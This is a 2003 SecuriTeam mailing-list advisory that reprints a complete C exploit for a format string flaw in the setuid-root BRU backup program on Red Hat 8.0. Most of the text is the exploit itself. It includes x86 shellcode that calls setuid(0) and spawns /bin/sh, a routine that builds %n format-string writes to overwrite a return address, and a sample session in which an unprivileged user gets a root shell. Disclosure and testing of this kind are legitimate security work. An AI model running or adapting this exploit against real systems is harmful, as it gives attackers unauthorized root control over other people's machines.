[EXPL] BRU Format String Vulnerability Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 07/22/03

  • Next message: SecuriTeam: "[UNIX] AtomicBoard Vulnerable to Path Disclosure and File Retrieval Vulnerabilities" 
    To: list@securiteam.com
Date: 22 Jul 2003 11:59:18 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      BRU Format String Vulnerability Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5XP0H20AKU.html> BRU Buffer Overflow
    and Format String Vulnerabilities, the BRU product has been found to
    contain a buffer overflow and format string vulnerabilities.

    The following exploit code can be used to test your system for the
    mentioned format string vulnerability.

    DETAILS

    Exploit:
    /*
    * bru--format--root-expolit::^^)
    *
    * coded by nic
    *
    * (c) 0x333 Outsiders Security Labs / www.0x333.org
    * test in redhat 8.0
    * bash-2.05b$ ls -al bru
    * -rws--x--x 1 root bin 165836 11�29 1999 bru
    * bash-2.05b$ id
    * uid=37(rpm) gid=37(rpm) groups=37(rpm)
    * bash-2.05b$ ./bruex
    * Use shellcode 0xc4ffff65
    * sh-2.05b#
    * ths : sam @ SST Group
    */

    #include <stdio.h>
    #include <strings.h>
    #include <string.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    #include <errno.h>

    #define MAX_FMT_LENGTH 128
    #define ADD 0x100
    #define FOUR sizeof( size_t ) * 4
    #define HELL "./bru"
    #define OCT( b0, b1, b2, b3, addr, str ) { \
    b0 = (addr >> 24) & 0xff; \
    b1 = (addr >> 16) & 0xff; \
    b2 = (addr >> 8) & 0xff; \
    b3 = (addr ) & 0xff; \
    if ( b0 * b1 * b2 * b3 == 0 ) { \
    printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
    exit( EXIT_FAILURE ); \
    } \
    }

    / shell by sam/
    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    /* shellcode */
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
    "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
    "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
    int
    build_un( char * buf, unsigned int locaddr, unsigned int retaddr, unsigned
    int
    offset, unsigned int base )
    {
    unsigned char b0, b1, b2, b3;
    int start = ( (base / ADD) + 1 ) * ADD;
    int sz;

    OCT( b0, b1, b2, b3, locaddr, "[ locaddr ]" );
    sz = snprintf( buf, FOUR + 1, /* 16 char to have the 4 addresses */
    "%c%c%c%c" /* + 1 for the ending \0 */
    "%c%c%c%c"
    "%c%c%c%c"
    "%c%c%c%c",
    b3, b2, b1, b0,
    b3 + 1, b2, b1, b0,
    b3 + 2, b2, b1, b0,
    b3 + 3, b2, b1, b0 );

    OCT( b0, b1, b2, b3, retaddr, "[ retaddr ]" );

    return snprintf( buf + sz, MAX_FMT_LENGTH,
    "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
    b3 - FOUR + start - base, offset,
    b2 - b3 + start, offset + 1,
    b1 - b2 + start, offset + 2,
    b0 - b1 + start, offset + 3 );
    }

    int main()
    {
    int ret_addr;
    char buf[256];
    char *args[24];
    char *env[2];

    ret_addr = 0xc4fffffa - strlen(shellcode) - strlen(HELL);

    /* put in env */
    env[0] = shellcode;
    env[1] = NULL;

    printf ("Use shellcode 0x%x\n", ret_addr);

    memset(buf, 0, sizeof(buf));
    build_un(buf, 0x08070148, 0x97d7d741, 73 ,3);

    args[0] = HELL;
    args[1] = buf;
    args[2] = NULL;

    execve (args[0], args, env);
    perror ("execve");

    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nic0x333@hotmail.com> nic.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] AtomicBoard Vulnerable to Path Disclosure and File Retrieval Vulnerabilities"

    Relevant Pages